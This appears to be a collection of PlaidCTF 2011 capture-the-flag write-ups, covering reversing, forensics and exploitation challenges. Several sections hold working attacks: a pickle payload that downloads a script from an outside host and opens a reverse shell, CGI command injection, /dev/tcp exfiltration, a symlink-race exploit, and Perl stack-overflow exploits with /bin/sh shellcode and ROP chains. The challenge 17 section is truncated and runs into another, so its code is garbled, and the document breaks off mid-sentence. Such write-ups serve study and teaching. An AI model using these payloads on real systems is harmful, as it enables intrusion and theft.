__ __ ____ ____ / // / / __/ / __/ / _ / / _/ _\ \ /_//_/ /_/ /___/ ********************************************************************** ****************************** 01.txt ****************************** ********************************************************************** " 1 - Division is HARD!! - 20 pts Description Category: trivia We found an old document in one of the AED offices. However, the text is distorted. Figure out what the corrupted value is. 1.3337 ~= XXXXXXX/3145727 " Trivia, eh? Could it be...? Let's Google it. Google("1.3337 AND 3145727"); 1st hit: "Pentium FDIV bug - a pictureInstitute for Policy & Social Research" Thought as much. The solution should then be "1.3337 ~= 4195835 / 3145727"; XXXXXXX = 4195835. Entered "4195835", and 20 more points to Hacking For Soju. ********************************************************************** ****************************** 04.txt ****************************** ********************************************************************** 04 Here, There Be Dragons 300 pts This is my writeup for the fourth challenge in the PlaidCTF 2011 competition. The information for the challenge was: After breaking into the AED network, we stumbled across a router with custom software loaded. Intrigued by this discovery, we sent in a team and extracted the software. Reverse engineer this strange code, and report back. The first step is obviously to determine the format of the file, which I simply used the ilecommand for. je@isis:~/ctf/PlaidCTF-2011/04-Here_There_Be_Dragons$ file f20b029ce96f0278322c0629b1265e1abd0e72cd.bin f20b029ce96f0278322c0629b1265e1abd0e72cd.bin: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped The file is a MIPS executable, and due to the following message within it it seems likely that it corresponds to a Cisco 3725 router image: Welcome to PPP IOS for C3725! Although this challenge certainly could be solved by pure static reversing, it will save a lot of time if we could actually run the code. Since I didn't have a Cisco router laying around for the task, I used an emulator called Dynamips. Dynamips has no builtin debugging facilities, but thanks to Sebastian Muņis and Alfredo Ortega of Groundwork Technologies there is a patch available that implements a GDB stub to allow for debugging with GDB, IDA Pro and other debuggers with support for the GDB remote protocol. For the initial analysis of the binary I used IDA Pro, and could quickly pinpoint the code of interest. Using a combination of static reversing with IDA and debugging with GDB and Dynamips I could determine that the password is actually a numeric PIN, and once the correct PIN is entered, the password required to solve the challenge is decrypted and written to the terminal. Note that we need a GDB with MIPS support to be able to use GDB for debugging. I used one compiler with mips-idt-elf as its target. Debugging was extremely slow due to the fact that breakpoints did not seem to work. When a breakpoint was reached I got the following message in the emulator: [[[ Virtual Breakpoint reached at PC=ADDR RA=ADDR]]] ... It didn stop executing though.. So, I used GDB scripting to single-step to the instruction I wanted to break at instead: while $pc != ADDR si end To not have to step through the entire boot process I let it execute until the password prompt before breaking out into the debugger with ^C. Using this technique I simply let it execute until the address where the PIN entered is compared with the expected PIN and extracted the correct PIN from there. Then I could boot up the image again, enter the correct PIN and get the password. After solving the challenge I came up with a much faster technique, by simply patching the code where I want to break at with an eternal loop. Example below: je@isis:~/ctf/PlaidCTF-2011/04-Here_There_Be_Dragons$ mips-idt-elf-gdb -q f20b029ce96f0278322c0629b1265e1abd0e72cd.bin (no debugging symbols found) (gdb) target remote 127.0.0.1:1234 Remote debugging using 127.0.0.1:1234 [New Thread 1] 0xbfc00000 in ?? () (gdb) set *0x800085e0 = 0x1000ffff (gdb) x/i 0x800085e0 0x800085e0: beq v1,v0,0x800085f0 0x800085e4: nop (gdb) set *0x800085e0 = 0x1000ffff (gdb) x/i 0x800085e0 0x800085e0: b 0x800085e0 0x800085e4: nop (gdb) c Continuing. I now switch to the console where I running the emulator, and enter 12345 as my PIN: Launching IOS image at 0x80008000... Welcome to PPP IOS for C3725! Secret: 12345 The emulator will now hang on my eternal loop, so I switch back to the debugger and press ^C: Program received signal SIGTRAP, Trace/breakpoint trap. 0x800085d4 in ?? () (gdb) p/d $v0 $1 = 134217728 (gdb) p/d $v1 $2 = 12345 The v1 register contains the PIN I entered (12345), and v0 the expected one (134217728 = 0×8000000). Now I only need to enter the correct PIN to get the password. je@isis:~/ctf/PlaidCTF-2011/04-Here_There_Be_Dragons$ dynamips -P 3725 f20b029ce96f0278322c0629b1265e1abd0e72cd.bin Cisco Router Simulation Platform (version 0.2.8-RC2-amd64) Copyright (c) 2005-2007 Christophe Fillot. Build date: Apr 23 2011 10:07:23 IOS image file: f20b029ce96f0278322c0629b1265e1abd0e72cd.bin ILT: loaded table "mips64j" from cache. ILT: loaded table "mips64e" from cache. ILT: loaded table "ppc32j" from cache. ILT: loaded table "ppc32e" from cache. CPU0: carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb. NVRAM is empty, setting config register to 0x2142 C3725 instance 'default' (id 0): VM Status : 0 RAM size : 128 Mb NVRAM size : 128 Kb IOS image : f20b029ce96f0278322c0629b1265e1abd0e72cd.bin Loading ELF file 'f20b029ce96f0278322c0629b1265e1abd0e72cd.bin'... ELF entry point: 0x80008000 C3725 'default': starting simulation (CPU0 PC=0xffffffffbfc00000), JIT enabled. ROMMON emulation microcode. Launching IOS image at 0x80008000... Welcome to PPP IOS for C3725! Secret: 134217728 IsntCiscoGreat? ********************************************************************** ****************************** 06.txt ****************************** ********************************************************************** 06 Fun with Numb3rs 100 pts This is my writeup for the sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was: h oh.. This door is protected with number scroll authenticator. There owered by .NETv4sign. Find out the combination and get the key! The application interface consists of three horisontal scrollbars that can be set to values between 0 and 255. Since this was a .NET executable I was able to use a tool called .NET Reflector to decompile it back to its C# source code representation. After examining the decompiled source a bit I found this function, that is obviously responsible for controlling whether the scrollbar numbers are correct or not: private void a(object A_0, EventArgs A_1) { int num = this.h.Value; int num2 = this.j.Value; int num3 = this.i.Value; int num4 = this.j.Value * this.i.Value; int num5 = num * 3; if ((((((num + num4) - num2) + ((num * num) * num2)) - num3) == ((num2 * ((num3 * 0x22) + (num5 - num))) + 0x1d40)) && (num > 0x4d)) { MessageBox.Show(this.b(num, num2, num3, (byte) this.a.Clone(), num4, num5)); } else { MessageBox.Show(this.a(num, num2, num3, (byte) this.a.Clone(), num4, num5)); } } As you can see, the i and j scrollbars can be set to any value between 0 and 255 but h must be above 0x4d (e.g 78-255). This gives us 256*256*(256-78) = 11665408 combinations to test. With a small C-program I can find the correct combination in the blink of an eye. je@isis:~/ctf/PlaidCTF-2011/06-Fun_with_Numb3rs/solution$ cat > get_combo.c #include int main(void) { int i, j, h; for (i = 0; i < 256; i++) for (j = 0; j < 256; j++) for (h = 78; h < 256; h++) if ((((((h+j*i)-j)+((h*h)*j))-i)==((j*((i*0x22)+(h*3-h)))+0x1d40))) printf("(%d,%d,%d)\n", h, j, i); return 0; } ^D je@isis:~/ctf/PlaidCTF-2011/06-Fun_with_Numb3rs/solution$ ./get_combo (89,144,233) When using this combination I get the following code: 57E64BEF998A8F141970CFF163F90BA3 And with that, the challenge is solved. :) ********************************************************************** ****************************** 07.txt ****************************** ********************************************************************** Challenge #7 - I'm feeling lucky Reversing, 200pts The file is a windows PE which displays a GUI with a button to generate 'fortune cookies'. First thing to do is to find where these texts (the fortune cookies) are stored in the binary. We figured that there might be a hint of the actual key in all the cookies combined, a pattern maybe. After loading the file into IDA we noticed that it had some windows crypto APIs in its import table. Setting a breakpoint at where it sets up the crypto context we saw that it hashed a string (this was however not the key, which the string itself also implied :)). This must however be important for the application somehow, so we continued tracing the use of crypto apis and found where it decrypts the cookie to be displayed (when the user clicks the button in the GUI). By looking at the callstack could we locate where it stored the list of encrypted cookies in memory. We then dumped the encrypted cookies to a new file and wrote a small application which decrypted all cookies using the same APIs. Looking at the list of decrypted cookies we soon found the correct key which was: "Oh YEAH, this is THE k3y U r L0ok1ng FOr :)" ********************************************************************** ****************************** 08.txt ****************************** ********************************************************************** 08 The App Store! 250 pts This is my writeup for the eighth challenge in the PlaidCTF 2011 competition. The information for the challenge was: We found the mobile phone that left in one of the office. Out of all applications, The Color Game App seemed suspicious. We believe the solution to this game is the password of the user for the computer next to it. Solve it! and get the password! Key is the color sequence of the buttons in all lower case with no spaces [e.g. redyellowbluegreenred] These are the screenshot of the game: http://www.clevcode.org/wp-content/uploads/2011/04/b94b784100fe411b2909988c074c947faad85237.jpg http://www.clevcode.org/wp-content/uploads/2011/04/ecdc0a5406ccfeb142b0bd8d4d7523e87cf2bcf0.jpg This challenge consisted of an iPhone application, compiled for x86 so it can be used with the iPhone Simulator included with the iOS SDK. To analyze the code I used IDA Pro and for dynamically analyzing in runtime I used GDB, attaching to it after Ie started it with the iPhone Simulator. With IDA Pro I started with analyzing the viewDidLoad() method for the reverseMeViewController object. Scattered throughout the function are calls to the addObject() method of the NSMutableArray object named holyHandGrenadeOfAntioch. The objects added to the array are of type CFConstantStringClassReference and the strings that are added are, in order: Blue, Green, Yellow, Blue, Red, Red, Red, Blue, Purple, Yellow, Green, Orange, Blue, Blue By listing the cross references to the holyHandGrenadeOfAntioch object I find the reverseMeViewController.sheepFucker() method, which compares the contents of holyHandGrenadeofAntioch array with the contents of another array named donkeyFucker, and by listing the cross references to the donkeyFucker object I find that it is referenced in the following methods: *allDayHomeBoy *myLifeBeLike *weAreTheKnightsWhoSayNi *blameGalgara *bitch *brooooooooo These are the handlers that are called when the addRed/addYellow/etc buttons are pressed in the applications, and by analyzing them in IDA I can see that they add the following strings to the donkeyFucker object: *allDayHomeBoy Blue *myLifeBeLike Green *weAreTheKnightsWhoSayNi Yellow *blameGalgara Purple *bitch Red *brooooooooo Orange Now, a hasty assumption would be that the strings added to the array equals the actual colors that are seen in the GUI. In this case our key would be: bluegreenyellowblueredredredbluepurpleyellowgreenorangeblueblue Of course, this is not the case. We have a little bit of work to do still, and I chose to take the easy route of simply using GDB and setting a breakpoint on each of the button press handlers. First, we start the application in the iPhone Simulator: [je@TheMac ~/ctf/PlaidCTF-2011/08-The_App_Store/reverseMe.app]$ iPhone\ Simulator -SimulateApplication reverseMe Second, we attach to the process in GDB and set our breakpoints: [je@TheMac ~/ctf/PlaidCTF-2011/08-The_App_Store/reverseMe.app]$ ps auxw|grep reverseMe je 22671 0,0 0,0 2425520 4 s003 R+ 12:26am 0:00.00 grep reverseMe je 22660 0,0 0,3 268920 13944 ?? Ss 12:24am 0:00.19 reverseMe -RegisterForSystemEvents je 22656 0,0 0,3 445104 13852 s002 S+ 12:24am 0:00.23 iPhone Simulator -SimulateApplication reverseMe [je@TheMac ~]$ gdb reverseMe 22660 Attaching to program: `/Users/je/ctf/PlaidCTF-2011/08-The_App_Store/reverseMe.app/reverseMe', process 22660. Reading symbols for shared libraries . done 0x950fb0fa in mach_msg_trap () (gdb) b *0x34da Breakpoint 1 at 0x34da (gdb) b *0x3674 Breakpoint 2 at 0x3674 (gdb) b *0x380e Breakpoint 3 at 0x380e (gdb) b *0x39a8 Breakpoint 4 at 0x39a8 (gdb) b *0x3b42 Breakpoint 5 at 0x3b42 (gdb) b *0x3cdc Breakpoint 6 at 0x3cdc I now simply press each button in order (red, yellow, green, purple, blue, orange) and see which handler is called for which color: (gdb) c Continuing. (gdb) c Continuing. Breakpoint 1, 0x000034da in -[reverseMeViewController allDayHomeBoy:] () (gdb) c Continuing. Breakpoint 2, 0x00003674 in -[reverseMeViewController myLifeBeLike:] () (gdb) c Continuing. Breakpoint 3, 0x0000380e in -[reverseMeViewController weAreTheKnightsWhoSayNi:] () (gdb) c Continuing. Breakpoint 4, 0x000039a8 in -[reverseMeViewController blameGalgara:] () (gdb) c Continuing. Breakpoint 5, 0x00003b42 in -[reverseMeViewController bitch:] () (gdb) c Continuing. Breakpoint 6, 0x00003cdc in -[reverseMeViewController brooooooooo:] () (gdb) This gives me the following mapping between handler and color: *allDayHomeBoy Red *myLifeBeLike Yellow *weAreTheKnightsWhoSayNi Green *blameGalgara Purple *bitch Blue *brooooooooo Orange Combined with the knowledge of which string is added to the donkeyFucker array in each of these handlers, I can now map a string in the array to the actual color in the GUI: *Blue -> Red *Green -> Yellow *Yellow -> Green *Purple -> Purple *Red -> Blue *Orange -> Orange Applying this to the list of strings in the holyHandGrenadeOfAntioch array we get: Blue, Green, Yellow, Blue, Red, Red, Red, Blue, Purple, Yellow, Green, Orange, Blue, Blue -> Red, Yellow, Green, Red, Blue, Blue, Blue, Red, Purple, Green, Yellow, Orange, Red, Red Trying this in the emulator, we get a picture of a happy face. :) Thus, our key is: redyellowgreenredblueblueblueredpurplegreenyelloworangeredred ********************************************************************** ****************************** 09.txt ****************************** ********************************************************************** "Recover the key using the truecrypt image and the memory dump." We simply used Passware Kit Forensic v10.0.1772 to decrypt the truecrypt image using the key present in the memory dump. orcon:/shared% mount -o loop lol.kuk.dd /mnt orcon:/shared% cd /mnt orcon:/mnt% cat key.txt jha0lMn58keAIpueeNCPVSO9dk ********************************************************************** *********************** 13_Django_really.txt *********************** ********************************************************************** The purpose of this challenge was to exploit a django setup which had a guestbook feature. There were no obvious bugs in the guestbook itself but after a while the settings file was posted as a hint. It contained: CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache', 'LOCATION': '127.0.0.1:11211', } } Which was a clear indication of memcached being used as a cache by django. It was also possible to access it remotely on port 11211, which is a bad idea since it contains pickled python objects that can be replaced. First we created a suitable object for pickling: #!/usr/bin/python import cPickle import os class Exploit(object): def __reduce__(self): return (os.system,("wget mysite.com/cb.txt -O /tmp/loldongs;perl /tmp/loldongs myip.com 5500",)) #print base64.b64encode(cPickle.dumps(Exploit())) open("lol.pickle","w+").write(cPickle.dumps(Exploit())) # EOF We then found which cache entry contained the guestbook and replaced it with our delicious pickle file using "go-derper", a tool for browsing and modifying memcached instances. orcon:~% cp lol.pickle output/run3-060e1ec0a5adf6031cf434790f92bb9f7e22383e orcon:~% ./go-derper.rb -w output/run3-060e1ec0a5adf6031cf434790f92bb9f7e22383e orcon:~% nc -l -v -p 5500 listening on [any] 5500 ... (Now we reload http://a12.amalgamated.biz/DjangoProblem1/ in our FavoriteBrowser(tm)) Warning: forward host lookup failed for AMALGAMATED-12.CLUB.CC.CMU.EDU: Unknown host : Connection timed out connect to [myip.com] from AMALGAMATED-12.CLUB.CC.CMU.EDU [128.237.157.90] 34048 uid=1000(pctf-chal) gid=1000(pctf-chal) groups=1000(pctf-chal) Linux a12 2.6.32-5-xen-amd64 #1 SMP Tue Mar 8 00:01:30 UTC 2011 x86_64 GNU/Linux exec bash -i; bash: no job control in this shell pctf-chal@a12:~$ ls chal chal.db db index.html pctf-chal@a12:~$ cd chal pctf-chal@a12:~/chal$ ls -al total 76 drwxr-xr-x 4 root root 4096 Apr 24 09:48 . drwxr-xr-x 4 root pctf-chal 28672 Apr 24 09:48 .. -rw-r--r-- 1 root root 37 Mar 22 13:34 KEY -rw-r--r-- 1 root root 0 Mar 22 11:57 __init__.py -rw-r--r-- 1 root root 127 Apr 24 03:03 __init__.pyc -rw-r--r-- 1 root root 243 Mar 22 13:48 chal.wsgi drwxr-xr-x 2 root root 4096 Apr 24 06:21 example -rwxr-xr-x 1 root root 503 Mar 22 11:57 manage.py -rw-r--r-- 1 root root 5373 Apr 24 09:48 settings.py -rw-r--r-- 1 root root 3004 Apr 24 09:48 settings.pyc drwxr-xr-x 3 root root 4096 Apr 24 06:33 templates -rw-r--r-- 1 root root 613 Mar 22 13:47 urls.py -rw-r--r-- 1 root root 326 Mar 22 13:56 urls.pyc pctf-chal@a12:~/chal$ cat KEY You found a key: WHY_IS_THIS_SO_EASY ********************************************************************** ****************************** 14.txt ****************************** ********************************************************************** 14 - SHA1 is fun - 150 pts We figured that the site used the $p variable within include(), and the path for the file was /pages/index. Looking at the source for pages/index we noticed that sha1() had the $raw_output option set to true, which made it possible for us to escape the query using the password 'stack'. Reading the problem1.php source with mysqls load_file() we saw that we could easily bypass the 'path protecting' by injecting our own code in a file called, for example, /var/tmp/pages_hfs using mysqls 'into outfile' functionality and then run our code with p=/var/tmp/pages_hfs. ********************************************************************** ****************** 15_An_innocent_CGI_script.txt ******************* ********************************************************************** The goal of this level was to exploit a chrooted CGI script written in c that would accept some source code and compile it with gcc. The most interesting lines are: q = curl_easy_unescape(curl, q, strlen(q), NULL); ... sprintf(buffer, "echo -n '%s' | gcc -x c -o %s -", q, filename); ... int pid = safe_system(buffer); The user input was not properly sanitized which led to a command execution when using the ' (\x27) character. Since proc was accessible from within the chroot we used the argv buffer to store output from commands. By using the shell on a9 acquired from the python-calculator level, it was then possible to see command output with ps. orcon:~% curl "http://a9.club.cc.cmu.edu:8012/compile.cgi?';"'gcc `PATH=. . THE_KEY 2>&1` -x c -o AAAAAAAA - < /proc/self/exe;'"'" calculator@a9:/proc$ ps auxwwww|grep gcc|grep AAAAAAAA|grep -v cgi|grep -v echo z3 10563 0.0 0.0 1880 676 ? S 09:20 0:00 gcc ./THE_KEY: 1: WHATTHEFUCKISWRONGWITHYOU: not found -x c -o AAAAAAAA - (The filename was obtained by *) Key: WHATTHEFUCKISWRONGWITHYOU ********************************************************************** ****************************** 16.txt ****************************** ********************************************************************** Challenge 16: Plain sight restricted shell with no output. using /dev/tcp we can send data to another pctf-machine: http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/128.237.157.38/2323 $ nc -l -p2323 bin home keyfolder lib lib64 http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls keyfolder>/dev/tcp/128.237.157.38/2323 $ nc -l -p2323 key http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat keyfolder/key>/dev/tcp/128.237.157.38/2323 $ nc -l -p2323 esc4p3_str1ng5 ********************************************************************** ****************************** 17.txt ****************************** ********************************************************************** Challenge 17: first_cpp $ file /opt/pctf/cpp1/first_cpp /opt/pctf/cpp1/first_cpp: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.8, stripped $ /opt/pctf/cpp1/first_cpp Usage: /opt/pctf/cpp1/first_cpp $ gdb --args /opt/pctf/cpp1/first_cpp $(python -c 'print "A"*200') 1000 Program received signal SIGSEGV, Segmentation fault. 0x080489b1 in ?? () (gdb) x/6i $eip 0x80489b1: mov (%eax),%eax 0x80489b3: mov (%eax),%edx 0x80489b5: movl $0x8049dc0,0x4(%esp) 0x80489bd: mov 0x8(%ebp),%eax 0x80489c0: mov %eax,(%esp) 0x80489c3: call *%edx (gdb) i r $eax eax 0x41414141 1094795585 with .bss being executable the final exploit looks like: #!/usr/bin/python import struct, os b = struct.pack("/dev/null 26876 4 drwxr-xr-x 3 z1key z1key 4096 Apr 24 04:13 /opt/pctf/z1key 32141 20 drwxrwx--- 2 root z1key 20480 Apr 24 17:16 /opt/pctf/z1key/cron.d 26882 4 -rw-r----- 1 root z1key 30 Feb 5 12:09 /opt/pctf/z1key/key 132576 16 -rwxr-sr-x 1 root z1key 15116 Apr 20 20:26 /opt/pctf/z1/exploitme z1_201@a5:~$ ls -l /opt/pctf/z1key total 28 drwxrwx--- 2 root z1key 20480 Apr 24 17:16 cron.d -rw-r----- 1 root z1key 30 Feb 5 12:09 key -rw-r--r-- 1 root root 105 Apr 22 18:33 README z1_201@a5:~$ cat /opt/pctf/z1key/README All scripts in cron.d will be executed, then deleted once a minute. A script's filename ends with `.sh`. Ah, perfect. The /opt/pctf/z1key/cron.d directory is writable to by the z1key group, and any filename ending with shwill be interpreted as a shellscript and executed once a minute. The key we need is stored in /opt/pctf/z1key/key, so let use the vulnerability to execute something like ail z1_201 < /opt/pctf/z1key/key' to mail us the key. We don't want to copy it to /tmp or something like that, since that would mean other teams would be able to read it as well. z1_201 is our personal team account for this challenge. In this case, IDA Pro was actually quite superfluous. The bug would have been obvious just by running the application: z1_201@a5:~$ /opt/pctf/z1/exploitme Entering 0×8048285/opt/pctf/z1/exploitme requires one argument! z1_201@a5:~$ /opt/pctf/z1/exploitme test Entering 0×8048285Entering 0×8048167Temporary file is /tmp/chal_fg915h. Entering 0×8048219z1_201@a5:~$ /opt/pctf/z1/exploitme test Entering 0×8048285Entering 0×8048167Temporary file is /tmp/chal_n31uri. Entering 0×8048219 By using strace, for instance, we would have seen that the data written to the temporary file is our command line argument and the level can be easily completed as follows: z1_201@a5:~$ cat > z1-xpl.c #include #include #include #include int main(void) { char buf[1024]; while (fgets(buf, sizeof(buf), stdin)) { if (! strncmp("Temporary", buf, 9)) { buf[18+16] = '\0'; if (symlink("/opt/pctf/z1key/cron.d/z1_201.sh", &buf[18]) == -1) if (errno != EEXIST) perror("symlink"); } } return 0; } ^D z1_201@a5:~$ gcc -o z1-xpl z1-xpl.c z1_201@a5:~$ while true; do /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key | mail z1_201' 2>&1; done | ./z1-xpl ^C z1_201@a5:~$ mail Mail version 8.1.2 01/15/2001. Type ? for help. "/var/mail/z1_201": 1 message 1 new >N 1 z1key@a5.amalgama Mon Apr 23 02:53 15/558 & p Message 1: From z1key@a5.amalgamated.biz Sat Apr 23 02:53:02 2011 Return-path: Envelope-to: z1_201@a5.amalgamated.biz Delivery-date: Sat, 23 Apr 2011 02:53:02 -0400 Received: from z1key by a5.amalgamated.biz with local (Exim 4.72) (envelope-from ) id 1QDWiE-0004Ef-12 for z1_201@a5.amalgamated.biz; Sat, 23 Apr 2011 02:53:02 -0400 Date: Sat, 23 Apr 2011 02:53:02 -0400 Message-Id: To: z1_201@a5.amalgamated.biz From: z1key@a5.amalgamated.biz Status: RO This is the key: FUCKALLOFYOU & q Saved 1 message in /home/z1/201/mbo ********************************************************************** ****************************** 19.txt ****************************** ********************************************************************** 19 Another small bug 250 pts This is my writeup for the nineteenth challenge in the PlaidCTF 2011 competition. The information for the challenge was: his time, let attack /opt/pctf/z2/exploitme. ssh username@a5.amalgamated.biz Using IDA Pro I can see that the program takes one command line argument, which is interpreted as an unsigned integer representing the number of bytes to read from stdin into a 512 byte buffer. There is a length check that is meant to ensure that we don pass more than 512 as the length argument. However, it also checks the return value of a function that is supposed to log the error. .text:080481BA mov eax, [ebp+argv] .text:080481BD add eax, 4 .text:080481C0 mov eax, [eax] .text:080481C2 mov [esp], eax .text:080481C5 call strtoul .text:080481CA mov [esp+21Ch], eax .text:080481D1 cmp dword ptr [esp+21Ch], 511 .text:080481DC jbe short LengthOk .text:080481DE mov dword ptr [esp], offset aAssertionLenSi ; "[assertion] len < sizeof(buffer)" .text:080481E5 call log_error .text:080481EA test eax, eax .text:080481EC jz short LengthOk .text:080481EE mov dword ptr [esp], 2 ; status .text:080481F5 call myexit Examining the log_error() function (named by me) we see that the logfile is /home/z2/logs/assert.log, and that the function returns zero if the file could not be opened. If we can somehow get fopen() to fail, that would mean the length check in the main() function becomes ineffective. .text:08048137 mov dword ptr [esp+4], offset aA ; "a" .text:0804813F mov dword ptr [esp], offset aHomeZ2LogsAsse ; "/home/z2/logs/assert.log" .text:08048146 call fopen_unlocked .text:0804814B mov [ebp+fp], eax .text:0804814E cmp [ebp+fp], 0 .text:08048152 jnz short LogError .text:08048154 mov eax, 0 .text:08048159 jmp short Return Normally, I would accomplish this by using ulimit -n to set the maximum number of open file descriptors before executing the vulnerable program, in this case we don even need that though. :D Turns out the /home/z2/logs directory does not exist, and thus the fopen() will always fail. Since the buffer that is read into is located on the stack, we end up with a vanilla stackbased buffer overflow. No stack canaries are used, and the executable does not even have NX enabled. The only hurdles we need to overcome are that the stack is randomized and that the binary is statically linked (so we can jump to system() in libc). To deal with this, I chose to use a return-to-text based attack. For completeness I chose to make two variants of my exploit, one that relies on .bss being executable and one that would work with full NX too. My first exploit simply returns into read(), with the stack set up to read from file descriptor 0 (stdin) to the .bss segment, and then return into that buffer. It relies on the following addresses, easily retrieved from the binary using IDA Pro: *0x80489d8 read() *0x804b510 .bss z2_201@a5:~$ cat > z2-bss.pl #!/usr/bin/perl use FileHandle; my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" STDOUT->autoflush(1); print "A"x532, # Pads pack("L",0x80489d8), # read(0, bssaddr, 1024) pack("L",0x804b510), # ret - .bss pack("L",0), # stdin pack("L",0x804b510), # .bss pack("L",length($code)),"\n"; # 1024 sleep 1; print $code; ^D z2_201@a5:~$ (./z2-bss.pl; cat) | /opt/pctf/z2/exploitme 1000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA id uid=2200(z2_201) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users) cat /opt/pctf/z2/key This is the key: EASTEREGGHUNTS_ARE_FUN My second exploit returns into mmap() to map a writable and executable buffer at a fixed location, then into an address with six pops and a ret instruction to go past the mmap() arguments on the stack and return into read() just as in the previous exploit. This relies on the address of: *0x8049abc mmap() *0×8048529 pop * 6 + ret *0x80489d8 read() This is the source of my second exploit: #!/usr/bin/perl use FileHandle; my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" STDOUT->autoflush(1); print "A"x532, # Pads pack("L",0x8049abc), # mmap() pack("L",0x8048529), # pop*6 + ret pack("L",0xbabe1000), # addr pack("L",0x1000), # length pack("L",1|2|4), # PROT_EXEC|PROT_WRITE|PROT_READ pack("L",0x10|0x2|0x20), # MAP_FIXED|MAP_PRIVATE|MAP_ANON pack("L",0xffffffff), # -1 pack("L",0), # 0 pack("L",0x80489d8), # read(0, addr, 1024) pack("L",0x804b510), # addr pack("L",0), # stdin pack("L",0x804b510), # addr pack("L",length($code)),"\n"; # length sleep 1; print $code; Note the call to sleep between the exploit buffer and the shellcode. This is to make sure that only the exploit buffer is read by the fgets(), and the shellcode by the call to read() that I set up. ********************************************************************** ****************************** 20.txt ****************************** ********************************************************************** 20 C++ upgrade 300 pts This is my writeup for the twentieth challenge in the PlaidCTF 2011 competition. The information for the challenge was: hey have an update for the vulnerable C++ program trying to fix the bug. However, the coders at AED suck and introduced another stupid mistake. Get a shell (and the key, too.) ssh username@a5.amalgamated.biz Since this challenge is about exploiting a C++ program, I immediately think vtable overwrite. Not surprisingly, I right. :) For those of you not familiar with how C++ code looks at the assembly level I can tell you that it can be quite a mess to reverse-engineer, due to lots of indirection. When calling virtual member functions, e.g. functions that may be overridden by classes that inherit from a base class, a vtable (virtual table) is used to determine what function to call. The vtable is simply a pointer to an array of function pointers, with each offset into the array representing a different virtual function, stored in the beginning of the object. Even though this may make things slightly less straight forward when debugging and reverse-engineering, it can actually be quite handy for an exploit developer such as myself. Let say we have a heapbased overflow in an application with a reasonably secure malloc() implementation (e.g. most ones on mainstream desktop/server operating systems nowadays). In the good old days we could easily turn a heapbased overflow into a write-4-anywhere primitive by overwriting malloc chunk headers. Nowadays we have to deal with a lot of integrity checks, such as the safe unlink() that ensures that p->next->prev == p && p->prev->next == p when taking a chunk p off its current free chunk list. Small chunks are usually stored in a single-linked list instead, which makes this kind of check impossible. :) With all the heap integrity checks and exploit mitigation mechanisms of today we are usually better off using an application dependent attack than trying to defeat all of them though. In this case, we have two classes (Awesomeness and EpicFailure), inheriting from the same base class with one virtual function. It just so happens that before the call to this virtual function there is an overflow due to a sprintf() to a buffer in the Awesomeness-object. There is also another overflow, due to a strcpy() to a buffer in the EpicFailure object but this will not be needed. This is the decompiled code of the relevant function: int __cdecl Awesomeness_UploadPoints(Awesomeness *awsmObj, int pts, const char *arg1) { sprintf(awsmObj->buf, "Uploading... [%s]: %d pts\n", arg1, pts); memcpy(buf_in_bss, awsmObj->buf, 50u); (*(void (__cdecl **)(_DWORD, _DWORD))awsmObj->vtbl)(awsmObj, buf_in_bss); return DoUpload(); } Note that the data is also copied into a static global buffer (buf_in_bss), this will come very much in handy due to the nature of a vtable overflow. Remember that a vtable pointer is actually a pointer to an array of function pointers? That means we will have to overwrite it with not just the pointer to our shellcode, but to a pointer that at a certain offset (in this case zero) contains the pointer to our shellcode. We have an extra level of indirection, which makes attacker controlled data at fixed addresses very useful. Anyway. Let see what happens after the overflow. First, in the main() function: Awesomeness_UploadPoints(_AwesomenessObj, arg2, *(const char **)(*(_DWORD *)(v9 + 4) + 4)); if ( arg3 & 1 ) EpicFailure_Report((int)EpicFailureObj, *(const char **)(*(_DWORD *)(v10 + 4) + 16)); Then in the decompiled EpicFailure_Report() function: void __cdecl EpicFailure_Report(EpicFailure *failObj, const char *src) { strcpy(failObj->buf, src); (*(void (__cdecl **)(_DWORD, _DWORD))failObj->vtbl)(failObj, src); EpicFailure_SendReport(failObj); } Since the EpicFailure object is allocated after the Awesomeness object, the sprintf() overflow will overwrite the vtable pointer in the 